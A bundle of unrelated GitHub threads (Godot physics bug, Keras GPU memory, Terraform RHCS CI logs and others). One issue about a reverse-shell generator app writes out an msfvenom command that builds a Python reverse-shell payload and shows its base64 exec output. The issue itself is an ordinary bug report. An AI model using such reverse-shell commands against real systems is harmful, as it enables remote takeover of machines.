Steps to reproduce

Create a CHaracterBody
Create an Area3D
Attach script to Area3D
connect via code (shown above)
test in-game
should see the error

Minimal reproduction project
AreaTest.zip

In your MRP you are using ConcavePolygonShape3D for the CollisionShape3D::Shape, but if you use a different shape it seems to work so I think this is a physics issue unrelated to mono.
I also ported the MRP to v3.5.rc1.mono.official [e86d840d4] and I was able to reproduce it there.


Qiutongs/merge 4

Description

Merge the latest master to release-1.5

add  #include "aws_clientcredential_keys.h"  because it is not included by "aws_clientcredential.h" anymore.

Checklist:

[ ] I have tested my changes. No regression in existing tests.
[ ] My code is Linted.

Closed the PR to keep from merging.


GPU memory leaks when training stateful LSTMs

I'm training a model using stateful LSTM on tensorflow backend, and see some suspicious memory leaks too.
I trained my model using 10,000 batch size at first, after around 20 iterations, OOM exception.
Then I lowered the batch size to 2,000, after around 30 iterations, OOM again.
My GPU memory always shows 95% full when I'm not fitting the model.
Any quick way to work around this?

Theano or TensorFlow?

I can't speak for TensorFlow's custom GPU memory allocator but for Theano it's not weird that GPU memory is constant as it typically relies on pre-allocation with cnmem for performance reasons.
I've found that it's good to keep some room in the GPU memory for spikes during training. Maybe 500 MB or so just to be sure. It's not necessarily a memory leak, but rather that GC takes a little time and can't keep up if you're too close to 100% memory.

You are right that the GPU mem allocation seems to be constant. The training still runs into OOM

Can you show the full oom error? It contain much information.
Le 8 mai 2016 18:56, "W+"<EMAIL_ADDRESS>a écrit :

You are right that the GPU mem allocation seems to be constant. The
training still runs into OOM
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub
https://github.com/fchollet/keras/issues/2535#issuecomment-217751275


Lock support for project editor

Hi @manstis, @Rikkola,
This PR adds lock support to the project editor. The locks are fine-grained so that one user editing the dependencies doesn't stop others from modifying imports or the kmodule settings.
This is a minimally invasive change and doesn't affect the existing project editor design i.e. it doesn't convert it to a workbench editor or use nested editors. It does work fine and since we need a solution soon it seems we can postpone the bigger refactoring, if still desired.
Cheers,
Christian

https://github.com/droolsjbpm/kie-wb-common/commit/fc743b7cfc81f97cbd64bf0e687d04dcf702fa31


msfvenon / Python Stageless Reverse TCP output file extension error

For msfvenom, the command for "Python Stageless Reverse TCP" is :
"command": "msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw -o shell.py",
this commande make a "shell.py" but cmd/unix/... is design for generate shell commands
└─# msfvenom -p cmd/unix/reverse_python LHOST=<IP_ADDRESS> LPORT=4444 -f raw -o shell.py
Saved as: shell.py

└─# cat shell.py
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1w[...]Ip')[0]))"

at execution time as a python script : error
└─$ python shell.py
  File "/home/test/shell.py", line 1
    python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1w[...]Ip')[0]))"
SyntaxError: invalid syntax

at execution time as bash script : well
└─$ /bin/sh shell.py

2 possibles solutions :

change the payload to python/shell_reverse_tcp
change the output file name to shell.sh

PS : Thank you very much for this great app

Fixed, thanks to @A1vinSmith


Support RHCS_SOURCE and RHCS_VERSION for CI jobs

What I did in this PR:

Support RHCS_SOURCE AND RHCS_VERSION env variables to replace all of source/version for the manifests files
Fixed @OCP-69144 And @OCP-69146 with latest code change
Enhanced operator waiting for cluster preparation, once local user has no access to /credentials endpoint will return directly with a warning reported
The fixed log and running case with ENV set to RHCS_VERSION="1.5.0-prerelease.2" and RHCS_SOURCE="terraform-redhat/rhcs"

lixue@Xue-Lis-MacBook-Pro terraform-provider-rhcs % ginkgo -focus "(@OCP-69144|@OCP-69146)" tests/e2e
time="2023-12-29T19:16:44+08:00" level=info msg="Running against env staging with gateway url https://api.stage.openshift.com"
time="2023-12-29T19:16:44+08:00" level=info msg="Loaded cluster profile configuration from profile rosa-sts-ad : map[additional_sg_number:4 admin_enabled:true autoscale:true byok:true byovpc:true ccs:true channel_group:candidate cloud_provider:aws compute_machine_type:m5.2xlarge etcd_encryption:true fips:true hypershift:false imdsv2:required labeling:true major_version:4.14 multi_az:true oidc_config:un-managed private:false private_link:false product_id:rosa proxy:true region:ap-northeast-1 sts:true tagging:true unified_acc_role_path:/unified/ version:latest worker_disk_size:200 zones:]"
Running Suite: e2e tests suite - /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/e2e
================================================================================================
Random Seed:<PHONE_NUMBER>

Will run 2 of 49 specs
time="2023-12-29T19:16:44+08:00" level=warning msg="Got a global ENV variable RHCS_SOURCE set to terraform-redhat/rhcs. Going to replace all of the manifests files"
time="2023-12-29T19:16:44+08:00" level=warning msg="Got a global ENV variable RHCS_VERSION set to 1.5.0-prerelease.2. Going to replace all of the manifests files"
time="2023-12-29T19:16:45+08:00" level=info msg="Loaded cluster profile configuration from profile rosa-sts-ad : map[additional_sg_number:4 admin_enabled:true autoscale:true byok:true byovpc:true ccs:true channel_group:candidate cloud_provider:aws compute_machine_type:m5.2xlarge etcd_encryption:true fips:true hypershift:false imdsv2:required labeling:true major_version:4.14 multi_az:true oidc_config:un-managed private:false private_link:false product_id:rosa proxy:true region:ap-northeast-1 sts:true tagging:true unified_acc_role_path:/unified/ version:latest worker_disk_size:200 zones:]"
time="2023-12-29T19:16:45+08:00" level=info msg="Running terraform init against the dir /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/clusters/rosa-classic"
time="2023-12-29T19:16:50+08:00" level=info msg="Running terraform output against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/clusters/rosa-classic"
SSSSSSSSSSSSSSSSSSSSSSSSS
------------------------------
P [PENDING]
TF Test Verfication/Post day 1 tests Author:xueli-Critical-OCP-69145 @OCP-69145 @xueli Apply to change security group will be forbidden
/Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/e2e/verfication_post_day1_test.go:244
------------------------------
SSSSSSSSSSStime="2023-12-29T19:16:52+08:00" level=info msg="Loaded cluster profile configuration from profile rosa-sts-ad : map[additional_sg_number:4 admin_enabled:true autoscale:true byok:true byovpc:true ccs:true channel_group:candidate cloud_provider:aws compute_machine_type:m5.2xlarge etcd_encryption:true fips:true hypershift:false imdsv2:required labeling:true major_version:4.14 multi_az:true oidc_config:un-managed private:false private_link:false product_id:rosa proxy:true region:ap-northeast-1 sts:true tagging:true unified_acc_role_path:/unified/ version:latest worker_disk_size:200 zones:]"
time="2023-12-29T19:16:52+08:00" level=info msg="Running terraform init against the dir /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools"
time="2023-12-29T19:16:53+08:00" level=info msg="Running terraform apply against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools with args [-var replicas=3 -var disk_size=249 -var cluster=28dttgrnmorva519am2f1lqo1c47r1vg -var name=ocp-69144 -var url=https://api.stage.openshift.com -var machine_type=r5.xlarge]"
time="2023-12-29T19:17:04+08:00" level=info msg="Running terraform apply against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools with args [-var cluster=28dttgrnmorva519am2f1lqo1c47r1vg -var name=ocp-69144 -var url=https://api.stage.openshift.com -var machine_type=r5.xlarge -var replicas=3 -var disk_size=320]"
time="2023-12-29T19:17:06+08:00" level=error msg="rhcs_machine_pool.mp: Refreshing state... [id=ocp-69144]\n\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n  ~ update in-place\n\nTerraform will perform the following actions:\n\n  # rhcs_machine_pool.mp will be updated in-place\n  ~ resource \"rhcs_machine_pool\" \"mp\" {\n      ~ disk_size               = 249 -> 320\n        id                      = \"ocp-69144\"\n        name                    = \"ocp-69144\"\n        # (5 unchanged attributes hidden)\n    }\n\nPlan: 0 to add, 1 to change, 0 to destroy.\nrhcs_machine_pool.mp: Modifying... [id=ocp-69144]\n\nError: Attribute value cannot be changed\n\n  with rhcs_machine_pool.mp,\n  on main.tf line 14, in resource \"rhcs_machine_pool\" \"mp\":\n  14: resource \"rhcs_machine_pool\" \"mp\" {\n\nAttribute disk_size, cannot be changed from 249 to 320"
time="2023-12-29T19:17:06+08:00" level=info msg="Running terraform destroy against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools"
time="2023-12-29T19:17:12+08:00" level=info msg="Running terraform apply against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools with args [-var cluster=28dttgrnmorva519am2f1lqo1c47r1vg -var name=ocp-69144 -var url=https://api.stage.openshift.com -var machine_type=m5.2xlarge -var replicas=3]"
time="2023-12-29T19:17:22+08:00" level=info msg="Running terraform destroy against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools"
time="2023-12-29T19:17:28+08:00" level=info msg="Running terraform destroy against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools"
•time="2023-12-29T19:17:28+08:00" level=info msg="Loaded cluster profile configuration from profile rosa-sts-ad : map[additional_sg_number:4 admin_enabled:true autoscale:true byok:true byovpc:true ccs:true channel_group:candidate cloud_provider:aws compute_machine_type:m5.2xlarge etcd_encryption:true fips:true hypershift:false imdsv2:required labeling:true major_version:4.14 multi_az:true oidc_config:un-managed private:false private_link:false product_id:rosa proxy:true region:ap-northeast-1 sts:true tagging:true unified_acc_role_path:/unified/ version:latest worker_disk_size:200 zones:]"
time="2023-12-29T19:17:28+08:00" level=info msg="Running terraform init against the dir /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools"
time="2023-12-29T19:17:30+08:00" level=info msg="Running terraform init against the dir /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/aws/security-groups"
time="2023-12-29T19:17:34+08:00" level=info msg="Running terraform output against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/aws/security-groups"
time="2023-12-29T19:17:35+08:00" level=info msg="Running terraform output against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/aws/security-groups"
time="2023-12-29T19:17:37+08:00" level=info msg="Running terraform apply against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools with args [-var replicas=3 -var additional_security_groups=[\"sg-09ce7de9c0b89b79c\",\"sg-01829bc5ff3d8dfd5\",\"sg-0877583284ef31435\",\"sg-06c68dc8c33cb6243\"] -var cluster=28dttgrnmorva519am2f1lqo1c47r1vg -var name=ocp-69146 -var url=https://api.stage.openshift.com -var machine_type=r5.xlarge]"
time="2023-12-29T19:17:46+08:00" level=info msg="Running terraform apply against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools with args [-var cluster=28dttgrnmorva519am2f1lqo1c47r1vg -var name=ocp-69146 -var url=https://api.stage.openshift.com -var machine_type=r5.xlarge -var replicas=3 -var additional_security_groups=[\"sg-09ce7de9c0b89b79c\"]]"
time="2023-12-29T19:17:49+08:00" level=error msg="rhcs_machine_pool.mp: Refreshing state... [id=ocp-69146]\n\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n  ~ update in-place\n\nTerraform will perform the following actions:\n\n  # rhcs_machine_pool.mp will be updated in-place\n  ~ resource \"rhcs_machine_pool\" \"mp\" {\n      ~ aws_additional_security_group_ids = [\n            \"sg-09ce7de9c0b89b79c\",\n          - \"sg-01829bc5ff3d8dfd5\",\n          - \"sg-0877583284ef31435\",\n          - \"sg-06c68dc8c33cb6243\",\n        ]\n        id                                = \"ocp-69146\"\n        name                              = \"ocp-69146\"\n        # (6 unchanged attributes hidden)\n    }\n\nPlan: 0 to add, 1 to change, 0 to destroy.\nrhcs_machine_pool.mp: Modifying... [id=ocp-69146]\n\nError: Attribute value cannot be changed\n\n  with rhcs_machine_pool.mp,\n  on main.tf line 14, in resource \"rhcs_machine_pool\" \"mp\":\n  14: resource \"rhcs_machine_pool\" \"mp\" {\n\nAttribute aws_additional_security_group_ids, cannot be changed from\n[\"sg-09ce7de9c0b89b79c\",\"sg-01829bc5ff3d8dfd5\",\"sg-0877583284ef31435\",\"sg-06c68dc8c33cb6243\"]\nto [\"sg-09ce7de9c0b89b79c\"]"
time="2023-12-29T19:17:49+08:00" level=info msg="Running terraform destroy against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools"
time="2023-12-29T19:17:55+08:00" level=info msg="Running terraform apply against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools with args [-var cluster=28dttgrnmorva519am2f1lqo1c47r1vg -var name=add-69146 -var url=https://api.stage.openshift.com -var machine_type=m5.2xlarge -var replicas=3]"
time="2023-12-29T19:18:03+08:00" level=info msg="Running terraform destroy against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools"
time="2023-12-29T19:18:12+08:00" level=info msg="Running terraform destroy against the dir: /Users/lixue/Workspace/ocm-tf/terraform-provider-rhcs/tests/tf-manifests/rhcs/machine-pools"
•SSSSSSSSSS

Ran 2 of 49 Specs in 88.439 seconds
SUCCESS! -- 2 Passed | 0 Failed | 1 Pending | 46 Skipped
You're using deprecated Ginkgo functionality:
=============================================
  --ginkgo.slow-spec-threshold is deprecated --slow-spec-threshold has been deprecated and will be removed in a future version of Ginkgo.  This feature has proved to be more noisy than useful.  You can use --poll-progress-after, instead, to get more actionable feedback about potentially slow specs and understand where they might be getting stuck.

To silence deprecations that can be silenced set the following environment variable:
  ACK_GINKGO_DEPRECATIONS=2.13.2

PASS

Ginkgo ran 1 suite in 1m36.253254399s
Test Suite Passed

/lgtm

/test rosa-sts-advanced-critical-high-presubmit

/test rosa-sts-advanced-optional-critical-high-presubmit

/test rosa-sts-private-optional-critical-high-presubmit

/test rosa-sts-advanced-optional-critical-high-presubmit

/test rosa-sts-private-optional-critical-high-presubmit

/test rosa-sts-advanced-optional-critical-high-presubmit

/test rosa-sts-private-optional-critical-high-presubmit
/test rosa-sts-advanced-optional-critical-high-presubmit

/retest-required

/test rosa-sts-private-optional-critical-high-presubmit

/pj-rehearse ack

/approve

/pj-rehearse skip

/pj-rehearse ack

/override ci/prow/rosa-sts-private-optional-critical-high-presubmit

/override ci/prow/rosa-sts-private-private-critical-high-presubmit

/override ci/prow/rosa-sts-advanced-optional-critical-high-presubmit
/override ci/prow/rosa-sts-private-optional-critical-high-presubmit

/test rosa-sts-advanced-critical-high-presubmit